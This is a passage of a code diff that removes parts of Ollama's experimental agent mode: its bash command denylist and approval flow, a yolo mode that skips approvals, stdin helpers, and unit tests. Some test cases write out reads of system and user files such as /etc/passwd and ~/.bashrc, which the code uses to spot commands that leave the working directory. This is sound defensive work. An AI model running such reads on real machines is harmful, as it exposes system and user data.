-		{"cat secret_santa.txt", false, ""}, // Not blocked - patterns are more specific now
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.command, func(t *testing.T) {
-			denied, pattern := IsDenied(tt.command)
-			if denied != tt.denied {
-				t.Errorf("IsDenied(%q) denied = %v, expected %v", tt.command, denied, tt.denied)
-			}
-			if tt.denied && !strings.Contains(pattern, tt.contains) && !strings.Contains(tt.contains, pattern) {
-				t.Errorf("IsDenied(%q) pattern = %q, expected to contain %q", tt.command, pattern, tt.contains)
-			}
-		})
-	}
-}
-
-func TestIsCommandOutsideCwd(t *testing.T) {
-	tests := []struct {
-		name     string
-		command  string
-		expected bool
-	}{
-		{
-			name:     "relative path in cwd",
-			command:  "cat ./file.txt",
-			expected: false,
-		},
-		{
-			name:     "nested relative path",
-			command:  "cat src/main.go",
-			expected: false,
-		},
-		{
-			name:     "absolute path outside cwd",
-			command:  "cat /etc/passwd",
-			expected: true,
-		},
-		{
-			name:     "parent directory escape",
-			command:  "cat ../../../etc/passwd",
-			expected: true,
-		},
-		{
-			name:     "home directory",
-			command:  "cat ~/.bashrc",
-			expected: true,
-		},
-		{
-			name:     "command with flags only",
-			command:  "ls -la",
-			expected: false,
-		},
-		{
-			name:     "piped commands outside cwd",
-			command:  "cat /etc/passwd | grep root",
-			expected: true,
-		},
-		{
-			name:     "semicolon commands outside cwd",
-			command:  "echo test; cat /etc/passwd",
-			expected: true,
-		},
-		{
-			name:     "single parent dir escapes cwd",
-			command:  "cat ../README.md",
-			expected: true, // Parent directory is outside cwd
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			result := isCommandOutsideCwd(tt.command)
-			if result != tt.expected {
-				t.Errorf("isCommandOutsideCwd(%q) = %v, expected %v",
-					tt.command, result, tt.expected)
-			}
-		})
-	}
-}

x/agent/approval_unix.go

@@ -1,27 +0,0 @@
-//go:build !windows
-
-package agent
-
-import (
-	"syscall"
-	"time"
-)
-
-// flushStdin drains any buffered input from stdin.
-// This prevents leftover input from previous operations from affecting the selector.
-func flushStdin(fd int) {
-	if err := syscall.SetNonblock(fd, true); err != nil {
-		return
-	}
-	defer syscall.SetNonblock(fd, false)
-
-	time.Sleep(5 * time.Millisecond)
-
-	buf := make([]byte, 256)
-	for {
-		n, err := syscall.Read(fd, buf)
-		if n <= 0 || err != nil {
-			break
-		}
-	}
-}

x/agent/approval_windows.go

@@ -1,15 +0,0 @@
-//go:build windows
-
-package agent
-
-import (
-	"os"
-
-	"golang.org/x/sys/windows"
-)
-
-// flushStdin clears any buffered console input on Windows.
-func flushStdin(_ int) {
-	handle := windows.Handle(os.Stdin.Fd())
-	_ = windows.FlushConsoleInputBuffer(handle)
-}

x/cmd/run.go

@@ -1,815 +0,0 @@
-package cmd
-
-import (
-	"context"
-	"encoding/json"
-	"errors"
-	"fmt"
-	"io"
-	"net/url"
-	"os"
-	"os/signal"
-	"strings"
-	"syscall"
-	"time"
-
-	"github.com/spf13/cobra"
-	"golang.org/x/term"
-
-	"github.com/ollama/ollama/api"
-	"github.com/ollama/ollama/progress"
-	"github.com/ollama/ollama/readline"
-	"github.com/ollama/ollama/types/model"
-	"github.com/ollama/ollama/x/agent"
-	"github.com/ollama/ollama/x/tools"
-)
-
-// Tool output capping constants
-const (
-	// localModelTokenLimit is the token limit for local models (smaller context).
-	localModelTokenLimit = 4000
-
-	// defaultTokenLimit is the token limit for cloud/remote models.
-	defaultTokenLimit = 10000
-
-	// charsPerToken is a rough estimate of characters per token.
-	// TODO: Estimate tokens more accurately using tokenizer if available
-	charsPerToken = 4
-)
-
-// isLocalModel checks if the model is running locally (not a cloud model).
-// TODO: Improve local/cloud model identification - could check model metadata
-func isLocalModel(modelName string) bool {
-	return !strings.HasSuffix(modelName, "-cloud")
-}
-
-// isLocalServer checks if connecting to a local Ollama server.
-// TODO: Could also check other indicators of local vs cloud server
-func isLocalServer() bool {
-	host := os.Getenv("OLLAMA_HOST")
-	if host == "" {
-		return true // Default is localhost:11434
-	}
-
-	// Parse the URL to check host
-	parsed, err := url.Parse(host)
-	if err != nil {
-		return true // If can't parse, assume local
-	}
-
-	hostname := parsed.Hostname()
-	return hostname == "localhost" || hostname == "127.0.0.1" || strings.Contains(parsed.Host, ":11434")
-}
-
-// truncateToolOutput truncates tool output to prevent context overflow.
-// Uses a smaller limit (4k tokens) for local models, larger (10k) for cloud/remote.
-func truncateToolOutput(output, modelName string) string {
-	var tokenLimit int
-	if isLocalModel(modelName) && isLocalServer() {
-		tokenLimit = localModelTokenLimit
-	} else {
-		tokenLimit = defaultTokenLimit
-	}
-
-	maxChars := tokenLimit * charsPerToken
-	if len(output) > maxChars {
-		return output[:maxChars] + "\n... (output truncated)"
-	}
-	return output
-}
-
-// waitForOllamaSignin shows the signin URL and polls until authentication completes.
-func waitForOllamaSignin(ctx context.Context) error {
-	client, err := api.ClientFromEnvironment()
-	if err != nil {
-		return err
-	}
-
-	// Get signin URL from initial Whoami call
-	_, err = client.Whoami(ctx)
-	if err != nil {
-		var aErr api.AuthorizationError
-		if errors.As(err, &aErr) && aErr.SigninURL != "" {
-			fmt.Fprintf(os.Stderr, "\n  To sign in, navigate to:\n")
-			fmt.Fprintf(os.Stderr, "      \033[36m%s\033[0m\n\n", aErr.SigninURL)
-			fmt.Fprintf(os.Stderr, "  \033[90mWaiting for sign in to complete...\033[0m")
-
-			// Poll until auth succeeds
-			ticker := time.NewTicker(2 * time.Second)
-			defer ticker.Stop()
-
-			for {
-				select {
-				case <-ctx.Done():
-					fmt.Fprintf(os.Stderr, "\n")
-					return ctx.Err()
-				case <-ticker.C:
-					user, whoamiErr := client.Whoami(ctx)
-					if whoamiErr == nil && user != nil && user.Name != "" {
-						fmt.Fprintf(os.Stderr, "\r\033[K  \033[32mSigned in as %s\033[0m\n", user.Name)
-						return nil
-					}
-					// Still waiting, show dot
-					fmt.Fprintf(os.Stderr, ".")
-				}
-			}
-		}
-		return err
-	}
-	return nil
-}
-
-// RunOptions contains options for running an interactive agent session.
-type RunOptions struct {
-	Model        string
-	Messages     []api.Message
-	WordWrap     bool
-	Format       string
-	System       string
-	Options      map[string]any
-	KeepAlive    *api.Duration
-	Think        *api.ThinkValue
-	HideThinking bool
-
-	// Agent fields (managed externally for session persistence)
-	Tools    *tools.Registry
-	Approval *agent.ApprovalManager
-
-	// YoloMode skips all tool approval prompts
-	YoloMode bool
-
-	// LastToolOutput stores the full output of the last tool execution
-	// for Ctrl+O expansion. Updated by Chat(), read by caller.
-	LastToolOutput *string
-
-	// LastToolOutputTruncated stores the truncated version shown inline
-	LastToolOutputTruncated *string
-}
-
-// Chat runs an agent chat loop with tool support.
-// This is the experimental version of chat that supports tool calling.
-func Chat(ctx context.Context, opts RunOptions) (*api.Message, error) {
-	client, err := api.ClientFromEnvironment()
-	if err != nil {
-		return nil, err
-	}
-
-	// Use tools registry and approval from opts (managed by caller for session persistence)
-	toolRegistry := opts.Tools
-	approval := opts.Approval
-	if approval == nil {
-		approval = agent.NewApprovalManager()
-	}
-
-	p := progress.NewProgress(os.Stderr)
-	defer p.StopAndClear()
-
-	spinner := progress.NewSpinner("")
-	p.Add("", spinner)
-
-	cancelCtx, cancel := context.WithCancel(ctx)
-	defer cancel()
-
-	sigChan := make(chan os.Signal, 1)
-	signal.Notify(sigChan, syscall.SIGINT)
-
-	go func() {
-		<-sigChan
-		cancel()
-	}()
-
-	var state *displayResponseState = &displayResponseState{}
-	var thinkingContent strings.Builder
-	var fullResponse strings.Builder
-	var thinkTagOpened bool = false
-	var thinkTagClosed bool = false
-	var pendingToolCalls []api.ToolCall
-	var consecutiveErrors int // Track consecutive 500 errors for retry limit
-
-	role := "assistant"
-	messages := opts.Messages
-
-	fn := func(response api.ChatResponse) error {
-		if response.Message.Content != "" || !opts.HideThinking {
-			p.StopAndClear()
-		}
-
-		role = response.Message.Role
-		if response.Message.Thinking != "" && !opts.HideThinking {
-			if !thinkTagOpened {
-				fmt.Print(thinkingOutputOpeningText(false))
-				thinkTagOpened = true
-				thinkTagClosed = false
-			}
-			thinkingContent.WriteString(response.Message.Thinking)
-			displayResponse(response.Message.Thinking, opts.WordWrap, state)
-		}
-
-		content := response.Message.Content
-		if thinkTagOpened && !thinkTagClosed && (content != "" || len(response.Message.ToolCalls) > 0) {
-			if !strings.HasSuffix(thinkingContent.String(), "\n") {
-				fmt.Println()
-			}
-			fmt.Print(thinkingOutputClosingText(false))
-			thinkTagOpened = false
-			thinkTagClosed = true
-			state = &displayResponseState{}
-		}
-
-		fullResponse.WriteString(content)
-
-		if response.Message.ToolCalls != nil {
-			toolCalls := response.Message.ToolCalls
-			if len(toolCalls) > 0 {
-				if toolRegistry != nil {
-					// Store tool calls for execution after response is complete
-					pendingToolCalls = append(pendingToolCalls, toolCalls...)
-				} else {
-					// No tools registry, just display tool calls
-					fmt.Print(renderToolCalls(toolCalls, false))
-				}
-			}
-		}
-
-		displayResponse(content, opts.WordWrap, state)
-
-		return nil
-	}
-
-	if opts.Format == "json" {
-		opts.Format = `"` + opts.Format + `"`
-	}
-
-	// Agentic loop: continue until no more tool calls
-	for {
-		req := &api.ChatRequest{
-			Model:    opts.Model,
-			Messages: messages,
-			Format:   json.RawMessage(opts.Format),
-			Options:  opts.Options,
-			Think:    opts.Think,
-		}
-
-		// Add tools
-		if toolRegistry != nil {
-			apiTools := toolRegistry.Tools()
-			if len(apiTools) > 0 {
-				req.Tools = apiTools
-			}
-		}
-
-		if opts.KeepAlive != nil {
-			req.KeepAlive = opts.KeepAlive
-		}
-
-		if err := client.Chat(cancelCtx, req, fn); err != nil {
-			if errors.Is(err, context.Canceled) {
-				return nil, nil
-			}
-
-			// Check for 401 Unauthorized - prompt user to sign in
-			var authErr api.AuthorizationError
-			if errors.As(err, &authErr) {
-				p.StopAndClear()
-				fmt.Fprintf(os.Stderr, "\033[33mAuthentication required to use this cloud model.\033[0m\n")
-				result, promptErr := agent.PromptYesNo("Sign in to Ollama?")
-				if promptErr == nil && result {
-					if signinErr := waitForOllamaSignin(ctx); signinErr == nil {
-						// Retry the chat request
-						fmt.Fprintf(os.Stderr, "\033[90mRetrying...\033[0m\n")
-						continue // Retry the loop
-					}
-				}
-				return nil, fmt.Errorf("authentication required - run 'ollama signin' to authenticate")
-			}
-
-			// Check for 500 errors (often tool parsing failures) - inform the model
-			var statusErr api.StatusError
-			if errors.As(err, &statusErr) && statusErr.StatusCode >= 500 {
-				consecutiveErrors++
-				p.StopAndClear()
-
-				if consecutiveErrors >= 3 {
-					fmt.Fprintf(os.Stderr, "\033[31m✗ Too many consecutive errors, giving up\033[0m\n")
-					return nil, fmt.Errorf("too many consecutive server errors: %s", statusErr.ErrorMessage)
-				}
-
-				fmt.Fprintf(os.Stderr, "\033[33m⚠ Server error (attempt %d/3): %s\033[0m\n", consecutiveErrors, statusErr.ErrorMessage)
-
-				// Include both the model's response and the error so it can learn
-				assistantContent := fullResponse.String()
-				if assistantContent == "" {
-					assistantContent = "(empty response)"
-				}
-				errorMsg := fmt.Sprintf("Your previous response caused an error: %s\n\nYour response was:\n%s\n\nPlease try again with a valid response.", statusErr.ErrorMessage, assistantContent)
-				messages = append(messages,
-					api.Message{Role: "user", Content: errorMsg},
-				)
-
-				// Reset state and retry
-				fullResponse.Reset()
-				thinkingContent.Reset()
-				thinkTagOpened = false
-				thinkTagClosed = false
-				pendingToolCalls = nil
-				state = &displayResponseState{}
-				p = progress.NewProgress(os.Stderr)
-				spinner = progress.NewSpinner("")
-				p.Add("", spinner)
-				continue
-			}
-
-			if strings.Contains(err.Error(), "upstream error") {
-				p.StopAndClear()
-				fmt.Println("An error occurred while processing your message. Please try again.")
-				fmt.Println()
-				return nil, nil
-			}
-			return nil, err
-		}
-
-		// Reset consecutive error counter on success
-		consecutiveErrors = 0
-
-		// If no tool calls, we're done
-		if len(pendingToolCalls) == 0 || toolRegistry == nil {
-			break
-		}
-
-		// Execute tool calls and continue the conversation
-		fmt.Fprintf(os.Stderr, "\n")
-
-		// Add assistant's tool call message to history
-		assistantMsg := api.Message{
-			Role:      "assistant",
-			Content:   fullResponse.String(),
-			Thinking:  thinkingContent.String(),
-			ToolCalls: pendingToolCalls,
-		}
-		messages = append(messages, assistantMsg)
-
-		// Execute each tool call and collect results
-		var toolResults []api.Message
-		for _, call := range pendingToolCalls {
-			toolName := call.Function.Name
-			args := call.Function.Arguments.ToMap()
-
-			// For bash commands, check denylist first
-			skipApproval := false
-			if toolName == "bash" {
-				if cmd, ok := args["command"].(string); ok {
-					// Check if command is denied (dangerous pattern)
-					if denied, pattern := agent.IsDenied(cmd); denied {
-						fmt.Fprintf(os.Stderr, "\033[91m✗ Blocked: %s\033[0m\n", formatToolShort(toolName, args))
-						fmt.Fprintf(os.Stderr, "\033[91m  Matches dangerous pattern: %s\033[0m\n", pattern)
-						toolResults = append(toolResults, api.Message{
-							Role:       "tool",
-							Content:    agent.FormatDeniedResult(cmd, pattern),
-							ToolCallID: call.ID,
-						})
-						continue
-					}
-
-					// Check if command is auto-allowed (safe command)
-					if agent.IsAutoAllowed(cmd) {
-						fmt.Fprintf(os.Stderr, "\033[90m▶ Auto-allowed: %s\033[0m\n", formatToolShort(toolName, args))
-						skipApproval = true
-					}
-				}
-			}
-
-			// Check approval (uses prefix matching for bash commands)
-			// In yolo mode, skip all approval prompts
-			if opts.YoloMode {
-				if !skipApproval {
-					fmt.Fprintf(os.Stderr, "\033[90m▶ Running: %s\033[0m\n", formatToolShort(toolName, args))
-				}
-			} else if !skipApproval && !approval.IsAllowed(toolName, args) {
-				result, err := approval.RequestApproval(toolName, args)
-				if err != nil {
-					fmt.Fprintf(os.Stderr, "Error requesting approval: %v\n", err)
-					toolResults = append(toolResults, api.Message{
-						Role:       "tool",
-						Content:    fmt.Sprintf("Error: %v", err),
-						ToolCallID: call.ID,
-					})
-					continue
-				}
-
-				// Show collapsed result
-				fmt.Fprintln(os.Stderr, agent.FormatApprovalResult(toolName, args, result))
-
-				switch result.Decision {
-				case agent.ApprovalDeny:
-					toolResults = append(toolResults, api.Message{
-						Role:       "tool",
-						Content:    agent.FormatDenyResult(toolName, result.DenyReason),
-						ToolCallID: call.ID,
-					})
-					continue
-				case agent.ApprovalAlways:
-					approval.AddToAllowlist(toolName, args)
-				}
-			} else if !skipApproval {
-				// Already allowed - show running indicator
-				fmt.Fprintf(os.Stderr, "\033[90m▶ Running: %s\033[0m\n", formatToolShort(toolName, args))
-			}
-
-			// Execute the tool
-			toolResult, err := toolRegistry.Execute(call)
-			if err != nil {
-				// Check if web search needs authentication
-				if errors.Is(err, tools.ErrWebSearchAuthRequired) {
-					// Prompt user to sign in
-					fmt.Fprintf(os.Stderr, "\033[33m  Web search requires authentication.\033[0m\n")
-					result, promptErr := agent.PromptYesNo("Sign in to Ollama?")
-					if promptErr == nil && result {
-						// Get signin URL and wait for auth completion
-						if signinErr := waitForOllamaSignin(ctx); signinErr == nil {
-							// Retry the web search
-							fmt.Fprintf(os.Stderr, "\033[90m  Retrying web search...\033[0m\n")
-							toolResult, err = toolRegistry.Execute(call)
-							if err == nil {
-								goto toolSuccess
-							}
-						}
-					}
-				}
-				fmt.Fprintf(os.Stderr, "\033[31m  Error: %v\033[0m\n", err)
-				toolResults = append(toolResults, api.Message{
-					Role:       "tool",
-					Content:    fmt.Sprintf("Error: %v", err),
-					ToolCallID: call.ID,
-				})
-				continue
-			}
-		toolSuccess:
-
-			// Display tool output (truncated for display)
-			truncatedOutput := ""
-			if toolResult != "" {
-				output := toolResult
-				if len(output) > 300 {
-					output = output[:300] + "... (truncated, press Ctrl+O to expand)"
-				}
-				truncatedOutput = output
-				// Show result in grey, indented
-				fmt.Fprintf(os.Stderr, "\033[90m  %s\033[0m\n", strings.ReplaceAll(output, "\n", "\n  "))
-			}
-
-			// Store full and truncated output for Ctrl+O toggle
-			if opts.LastToolOutput != nil {
-				*opts.LastToolOutput = toolResult
-			}
-			if opts.LastToolOutputTruncated != nil {
-				*opts.LastToolOutputTruncated = truncatedOutput
-			}
-
-			// Truncate output to prevent context overflow
-			toolResultForLLM := truncateToolOutput(toolResult, opts.Model)
-
-			toolResults = append(toolResults, api.Message{
-				Role:       "tool",
-				Content:    toolResultForLLM,
-				ToolCallID: call.ID,
-			})
-		}
-
-		// Add tool results to message history
-		messages = append(messages, toolResults...)
-
-		fmt.Fprintf(os.Stderr, "\n")
-
-		// Reset state for next iteration
-		fullResponse.Reset()
-		thinkingContent.Reset()
-		thinkTagOpened = false
-		thinkTagClosed = false
-		pendingToolCalls = nil
-		state = &displayResponseState{}
-
-		// Start new progress spinner for next API call
-		p = progress.NewProgress(os.Stderr)
-		spinner = progress.NewSpinner("")
-		p.Add("", spinner)
-	}
-
-	if len(opts.Messages) > 0 {
-		fmt.Println()
-		fmt.Println()
-	}
-
-	return &api.Message{Role: role, Thinking: thinkingContent.String(), Content: fullResponse.String()}, nil
-}
-
-// truncateUTF8 safely truncates a string to at most limit runes, adding "..." if truncated.
-func truncateUTF8(s string, limit int) string {
-	runes := []rune(s)
-	if len(runes) <= limit {
-		return s
-	}
-	if limit <= 3 {
-		return string(runes[:limit])
-	}
-	return string(runes[:limit-3]) + "..."
-}
-
-// formatToolShort returns a short description of a tool call.
-func formatToolShort(toolName string, args map[string]any) string {
-	if toolName == "bash" {
-		if cmd, ok := args["command"].(string); ok {
-			return fmt.Sprintf("bash: %s", truncateUTF8(cmd, 50))
-		}
-	}
-	if toolName == "web_search" {
-		if query, ok := args["query"].(string); ok {
-			return fmt.Sprintf("web_search: %s", truncateUTF8(query, 50))
-		}
-	}
-	return toolName
-}
-
-// Helper types and functions for display
-
-type displayResponseState struct {
-	lineLength int
-	wordBuffer string
-}
-
-func displayResponse(content string, wordWrap bool, state *displayResponseState) {
-	termWidth, _, _ := term.GetSize(int(os.Stdout.Fd()))
-	if wordWrap && termWidth >= 10 {
-		for _, ch := range content {
-			if state.lineLength+1 > termWidth-5 {
-				if len(state.wordBuffer) > termWidth-10 {
-					fmt.Printf("%s%c", state.wordBuffer, ch)
-					state.wordBuffer = ""
-					state.lineLength = 0
-					continue
-				}
-
-				// backtrack the length of the last word and clear to the end of the line
-				a := len(state.wordBuffer)
-				if a > 0 {
-					fmt.Printf("\x1b[%dD", a)
-				}
-				fmt.Printf("\x1b[K\n")
-				fmt.Printf("%s%c", state.wordBuffer, ch)
-
-				state.lineLength = len(state.wordBuffer) + 1
-			} else {
-				fmt.Print(string(ch))
-				state.lineLength++
-
-				switch ch {
-				case ' ', '\t':
-					state.wordBuffer = ""
-				case '\n', '\r':
-					state.lineLength = 0
-					state.wordBuffer = ""
-				default:
-					state.wordBuffer += string(ch)
-				}
-			}
-		}
-	} else {
-		fmt.Printf("%s%s", state.wordBuffer, content)
-		if len(state.wordBuffer) > 0 {
-			state.wordBuffer = ""
-		}
-	}
-}
-
-func thinkingOutputOpeningText(plainText bool) string {
-	text := "Thinking...\n"
-
-	if plainText {
-		return text
-	}
-
-	return readline.ColorGrey + readline.ColorBold + text + readline.ColorDefault + readline.ColorGrey
-}
-
-func thinkingOutputClosingText(plainText bool) string {
-	text := "...done thinking.\n\n"
-
-	if plainText {
-		return text
-	}
-
-	return readline.ColorGrey + readline.ColorBold + text + readline.ColorDefault
-}
-
-func renderToolCalls(toolCalls []api.ToolCall, plainText bool) string {
-	out := ""
-	formatExplanation := ""
-	formatValues := ""
-	if !plainText {
-		formatExplanation = readline.ColorGrey + readline.ColorBold
-		formatValues = readline.ColorDefault
-		out += formatExplanation
-	}
-	for i, toolCall := range toolCalls {
-		argsAsJSON, err := json.Marshal(toolCall.Function.Arguments)
-		if err != nil {
-			return ""
-		}
-		if i > 0 {
-			out += "\n"
-		}
-		out += fmt.Sprintf("  Tool call: %s(%s)", formatValues+toolCall.Function.Name+formatExplanation, formatValues+string(argsAsJSON)+formatExplanation)
-	}
-	if !plainText {
-		out += readline.ColorDefault
-	}
-	return out
-}
-
-// checkModelCapabilities checks if the model supports tools.
-func checkModelCapabilities(ctx context.Context, modelName string) (supportsTools bool, err error) {
-	client, err := api.ClientFromEnvironment()
-	if err != nil {
-		return false, err
-	}
-
-	resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
-	if err != nil {
-		return false, err
-	}
-
-	for _, cap := range resp.Capabilities {
-		if cap == model.CapabilityTools {
-			return true, nil
-		}
-	}
-
-	return false, nil
-}
-
-// GenerateInteractive runs an interactive agent session.
-// This is called from cmd.go when --experimental flag is set.
-// If yoloMode is true, all tool approvals are skipped.
-func GenerateInteractive(cmd *cobra.Command, modelName string, wordWrap bool, options map[string]any, think *api.ThinkValue, hideThinking bool, keepAlive *api.Duration, yoloMode bool) error {
-	scanner, err := readline.New(readline.Prompt{
-		Prompt:         ">>> ",
-		AltPrompt:      "... ",
-		Placeholder:    "Send a message (/? for help)",
-		AltPlaceholder: `Use """ to end multi-line input`,
-	})
-	if err != nil {
-		return err
-	}
-
-	fmt.Print(readline.StartBracketedPaste)
-	defer fmt.Printf(readline.EndBracketedPaste)
-
-	// Check if model supports tools
-	supportsTools, err := checkModelCapabilities(cmd.Context(), modelName)
-	if err != nil {
-		fmt.Fprintf(os.Stderr, "\033[33mWarning: Could not check model capabilities: %v\033[0m\n", err)
-		supportsTools = false
-	}
-
-	// Create tool registry only if model supports tools
-	var toolRegistry *tools.Registry
-	if supportsTools {
-		toolRegistry = tools.DefaultRegistry()
-		if toolRegistry.Count() > 0 {
-			fmt.Fprintf(os.Stderr, "\033[90mTools available: %s\033[0m\n", strings.Join(toolRegistry.Names(), ", "))
-		}
-		if yoloMode {
-			fmt.Fprintf(os.Stderr, "\033[33m⚠ YOLO mode: All tool approvals will be skipped\033[0m\n")
-		}
-	} else {
-		fmt.Fprintf(os.Stderr, "\033[33mNote: Model does not support tools - running in chat-only mode\033[0m\n")
-	}
-
-	// Create approval manager for session
-	approval := agent.NewApprovalManager()
-
-	var messages []api.Message
-	var sb strings.Builder
-
-	// Track last tool output for Ctrl+O toggle
-	var lastToolOutput string
-	var lastToolOutputTruncated string
-	var toolOutputExpanded bool
-
-	for {
-		line, err := scanner.Readline()
-		switch {
-		case errors.Is(err, io.EOF):
-			fmt.Println()
-			return nil
-		case errors.Is(err, readline.ErrInterrupt):
-			if line == "" {
-				fmt.Println("\nUse Ctrl + d or /bye to exit.")
-			}
-			sb.Reset()
-			continue
-		case errors.Is(err, readline.ErrExpandOutput):
-			// Ctrl+O pressed - toggle between expanded and collapsed tool output
-			if lastToolOutput == "" {
-				fmt.Fprintf(os.Stderr, "\033[90mNo tool output to expand\033[0m\n")
-			} else if toolOutputExpanded {
-				// Currently expanded, show truncated
-				fmt.Fprintf(os.Stderr, "\033[90m  %s\033[0m\n", strings.ReplaceAll(lastToolOutputTruncated, "\n", "\n  "))
-				toolOutputExpanded = false
-			} else {
-				// Currently collapsed, show full
-				fmt.Fprintf(os.Stderr, "\033[90m  %s\033[0m\n", strings.ReplaceAll(lastToolOutput, "\n", "\n  "))
-				toolOutputExpanded = true
-			}
-			continue
-		case err != nil:
-			return err
-		}
-
-		switch {
-		case strings.HasPrefix(line, "/exit"), strings.HasPrefix(line, "/bye"):
-			return nil
-		case strings.HasPrefix(line, "/clear"):
-			messages = []api.Message{}
-			approval.Reset()
-			fmt.Println("Cleared session context and tool approvals")
-			continue
-		case strings.HasPrefix(line, "/tools"):
-			showToolsStatus(toolRegistry, approval, supportsTools)
-			continue
-		case strings.HasPrefix(line, "/help"), strings.HasPrefix(line, "/?"):
-			fmt.Fprintln(os.Stderr, "Available Commands:")
-			fmt.Fprintln(os.Stderr, "  /tools          Show available tools and approvals")
-			fmt.Fprintln(os.Stderr, "  /clear          Clear session context and approvals")
-			fmt.Fprintln(os.Stderr, "  /bye            Exit")
-			fmt.Fprintln(os.Stderr, "  /?, /help       Help for a command")
-			fmt.Fprintln(os.Stderr, "")
-			fmt.Fprintln(os.Stderr, "Keyboard Shortcuts:")
-			fmt.Fprintln(os.Stderr, "  Ctrl+O          Expand last tool output")
-			fmt.Fprintln(os.Stderr, "")
-			continue
-		case strings.HasPrefix(line, "/"):
-			fmt.Printf("Unknown command '%s'. Type /? for help\n", strings.Fields(line)[0])
-			continue
-		default:
-			sb.WriteString(line)
-		}
-
-		if sb.Len() > 0 {
-			newMessage := api.Message{Role: "user", Content: sb.String()}
-			messages = append(messages, newMessage)
-
-			opts := RunOptions{
-				Model:                   modelName,
-				Messages:                messages,
-				WordWrap:                wordWrap,
-				Options:                 options,
-				Think:                   think,
-				HideThinking:            hideThinking,
-				KeepAlive:               keepAlive,
-				Tools:                   toolRegistry,
-				Approval:                approval,
-				YoloMode:                yoloMode,
-				LastToolOutput:          &lastToolOutput,
-				LastToolOutputTruncated: &lastToolOutputTruncated,
-			}
-			// Reset expanded state for new tool execution
-			toolOutputExpanded = false
-
-			assistant, err := Chat(cmd.Context(), opts)
-			if err != nil {
-				return err
-			}
-			if assistant != nil {
-				messages = append(messages, *assistant)
-			}
-
-			sb.Reset()
-		}
-	}
-}
-
-// showToolsStatus displays the current tools and approval status.
-func showToolsStatus(registry *tools.Registry, approval *agent.ApprovalManager, supportsTools bool) {
-	if !supportsTools || registry == nil {
-		fmt.Println("Tools not available - model does not support tool calling")
-		fmt.Println()
-		return
-	}
-
-	fmt.Println("Available tools:")
-	for _, name := range registry.Names() {
-		tool, _ := registry.Get(name)
-		fmt.Printf("  %s - %s\n", name, tool.Description())
-	}
-
-	allowed := approval.AllowedTools()
-	if len(allowed) > 0 {
-		fmt.Println("\nSession approvals:")
-		for _, key := range allowed {
-			fmt.Printf("  %s\n", key)
-		}
-	} else {
-		fmt.Println("\nNo tools approved for this session yet")
-	}
-	fmt.Println()
-}

x/cmd/run_test.go

@@ -1,180 +0,0 @@
-package cmd
-
-import (
-	"testing"
-)
-
-func TestIsLocalModel(t *testing.T) {
-	tests := []struct {
-		name      string
-		modelName string
-		expected  bool
-	}{
-		{
-			name:      "local model without suffix",
-			modelName: "llama3.2",
-			expected:  true,
-		},
-		{
-			name:      "local model with version",
-			modelName: "qwen2.5:7b",
-			expected:  true,
-		},
-		{
-			name:      "cloud model",
-			modelName: "gpt-4-cloud",
-			expected:  false,
-		},
-		{
-			name:      "cloud model with version",
-			modelName: "claude-3-cloud",
-			expected:  false,
-		},
-		{
-			name:      "empty model name",
-			modelName: "",
-			expected:  true,
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			result := isLocalModel(tt.modelName)
-			if result != tt.expected {
-				t.Errorf("isLocalModel(%q) = %v, expected %v", tt.modelName, result, tt.expected)
-			}
-		})
-	}
-}
-
-func TestIsLocalServer(t *testing.T) {
-	tests := []struct {
-		name     string
-		host     string
-		expected bool
-	}{
-		{
-			name:     "empty host (default)",
-			host:     "",
-			expected: true,
-		},
-		{
-			name:     "localhost",
-			host:     "http://localhost:11434",
-			expected: true,
-		},
-		{
-			name:     "127.0.0.1",
-			host:     "http://127.0.0.1:11434",
-			expected: true,
-		},
-		{
-			name:     "custom port on localhost",
-			host:     "http://localhost:8080",
-			expected: true, // localhost is always considered local
-		},
-		{
-			name:     "remote host",
-			host:     "http://ollama.example.com:11434",
-			expected: true, // has :11434
-		},
-		{
-			name:     "remote host different port",
-			host:     "http://ollama.example.com:8080",
-			expected: false,
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			t.Setenv("OLLAMA_HOST", tt.host)
-			result := isLocalServer()
-			if result != tt.expected {
-				t.Errorf("isLocalServer() with OLLAMA_HOST=%q = %v, expected %v", tt.host, result, tt.expected)
-			}
-		})
-	}
-}
-
-func TestTruncateToolOutput(t *testing.T) {
-	// Create outputs of different sizes
-	localLimitOutput := make([]byte, 20000)   // > 4k tokens (16k chars)
-	defaultLimitOutput := make([]byte, 50000) // > 10k tokens (40k chars)
-	for i := range localLimitOutput {
-		localLimitOutput[i] = 'a'
-	}
-	for i := range defaultLimitOutput {
-		defaultLimitOutput[i] = 'b'
-	}
-
-	tests := []struct {
-		name          string
-		output        string
-		modelName     string
-		host          string
-		shouldTrim    bool
-		expectedLimit int
-	}{
-		{
-			name:          "short output local model",
-			output:        "hello world",
-			modelName:     "llama3.2",
-			host:          "",
-			shouldTrim:    false,
-			expectedLimit: localModelTokenLimit,
-		},
-		{
-			name:          "long output local model - trimmed at 4k",
-			output:        string(localLimitOutput),
-			modelName:     "llama3.2",
-			host:          "",
-			shouldTrim:    true,
-			expectedLimit: localModelTokenLimit,
-		},
-		{
-			name:          "long output cloud model - uses 10k limit",
-			output:        string(localLimitOutput), // 20k chars, under 10k token limit
-			modelName:     "gpt-4-cloud",
-			host:          "",
-			shouldTrim:    false,
-			expectedLimit: defaultTokenLimit,
-		},
-		{
-			name:          "very long output cloud model - trimmed at 10k",
-			output:        string(defaultLimitOutput),
-			modelName:     "gpt-4-cloud",
-			host:          "",
-			shouldTrim:    true,
-			expectedLimit: defaultTokenLimit,
-		},
-		{
-			name:          "long output remote server - uses 10k limit",
-			output:        string(localLimitOutput),
-			modelName:     "llama3.2",
-			host:          "http://remote.example.com:8080",
-			shouldTrim:    false,
-			expectedLimit: defaultTokenLimit,
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			t.Setenv("OLLAMA_HOST", tt.host)
-			result := truncateToolOutput(tt.output, tt.modelName)
-
-			if tt.shouldTrim {
-				maxLen := tt.expectedLimit * charsPerToken
-				if len(result) > maxLen+50 { // +50 for the truncation message
-					t.Errorf("expected output to be truncated to ~%d chars, got %d", maxLen, len(result))
-				}
-				if result == tt.output {
-					t.Error("expected output to be truncated but it wasn't")
-				}
-			} else {
-				if result != tt.output {
